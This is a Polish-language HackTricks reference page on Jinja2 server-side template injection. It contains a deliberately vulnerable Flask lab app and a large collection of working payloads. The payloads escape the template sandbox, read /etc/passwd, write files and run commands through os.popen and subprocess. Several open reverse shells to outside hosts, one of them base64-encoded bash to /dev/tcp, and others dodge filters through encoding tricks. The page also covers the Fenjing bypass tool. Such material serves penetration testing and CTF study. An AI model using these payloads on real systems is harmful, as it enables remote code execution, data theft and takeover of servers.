Jinja2 SSTI

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Laboratorium

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Misc

Debug Statement

Jeśli rozszerzenie debugowania jest włączone, tag debug będzie dostępny do zrzucenia bieżącego kontekstu, a także dostępnych filtrów i testów. To jest przydatne, aby zobaczyć, co jest dostępne do użycia w szablonie bez konfigurowania debuggera.

<pre>

{% debug %}







</pre>

Zrzut wszystkich zmiennych konfiguracyjnych

{{ config }} #In these object you can find all the configured env variables


{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}




Jinja Injection

Przede wszystkim, w przypadku Jinja injection musisz znaleźć sposób na ucieczkę z piaskownicy i odzyskać dostęp do regularnego przepływu wykonania Pythona. Aby to zrobić, musisz wykorzystać obiekty, które pochodzą z niepiaskowanej przestrzeni, ale są dostępne z piaskownicy.

Accessing Global Objects

Na przykład, w kodzie render_template("hello.html", username=username, email=email) obiekty username i email pochodzą z niepiaskowanego środowiska Pythona i będą dostępne wewnątrz piaskownicy. Co więcej, istnieją inne obiekty, które będą zawsze dostępne z piaskownicy, są to:

[]
''
()
dict
config
request

Odzyskiwanie <class 'object'>

Następnie, z tych obiektów musimy dotrzeć do klasy: <class 'object'>, aby spróbować odzyskać zdefiniowane klasy. Dzieje się tak, ponieważ z tego obiektu możemy wywołać metodę __subclasses__ i uzyskać dostęp do wszystkich klas z niezabezpieczonego środowiska python.

Aby uzyskać dostęp do tej klasy obiektu, musisz uzyskać dostęp do obiektu klasy, a następnie uzyskać dostęp do __base__, __mro__()[-1] lub .mro()[-1]. A następnie, po dotarciu do tej klasy obiektu wywołujemy __subclasses__().

Sprawdź te przykłady:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}





# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

Odzyskawszy <class 'object'> i wywołując __subclasses__, możemy teraz używać tych klas do odczytu i zapisu plików oraz wykonywania kodu.

Wywołanie __subclasses__ dało nam możliwość dostępu do setek nowych funkcji, będziemy zadowoleni, uzyskując dostęp do klasy pliku, aby czytać/zapisywać pliki lub jakiejkolwiek klasy z dostępem do klasy, która pozwala na wykonywanie poleceń (jak os).

Odczyt/Zapis zdalnego pliku

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Aby dowiedzieć się o więcej klasach, które możesz użyć do ucieczki, możesz sprawdzić:

Bypass Python sandboxes

Obejścia filtrów

Powszechne obejścia

Te obejścia pozwolą nam uzyskać dostęp do atrybutów obiektów bez użycia niektórych znaków. Już widzieliśmy niektóre z tych obejść w przykładach z poprzednich, ale podsumujmy je tutaj:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}




Unikanie kodowania HTML

Domyślnie Flask koduje HTML wewnątrz szablonu z powodów bezpieczeństwa:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Filtr safe pozwala nam wstrzykiwać JavaScript i HTML na stronę bez ich kodowania HTML, jak to:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE poprzez napisanie złośliwego pliku konfiguracyjnego.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Bez kilku znaków

Bez {{ . [ ] }} _

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}




Jinja Injection bez <class 'object'>

Z globalnych obiektów istnieje inny sposób na uzyskanie RCE bez użycia tej klasy. Jeśli uda ci się uzyskać dostęp do jakiejkolwiek funkcji z tych globalnych obiektów, będziesz mógł uzyskać dostęp do __globals__.__builtins__ i stamtąd RCE jest bardzo proste.

Możesz znaleźć funkcje z obiektów request, config i każdego innego interesującego globalnego obiektu, do którego masz dostęp, używając:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Gdy znajdziesz kilka funkcji, możesz odzyskać wbudowane za pomocą:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing to narzędzie, które jest specjalizowane w CTF, ale może być również przydatne do bruteforce'owania nieprawidłowych parametrów w rzeczywistym scenariuszu. Narzędzie po prostu rozpryskuje słowa i zapytania, aby wykryć filtry, szukając obejść, a także zapewnia interaktywną konsolę.

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

References

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Last updated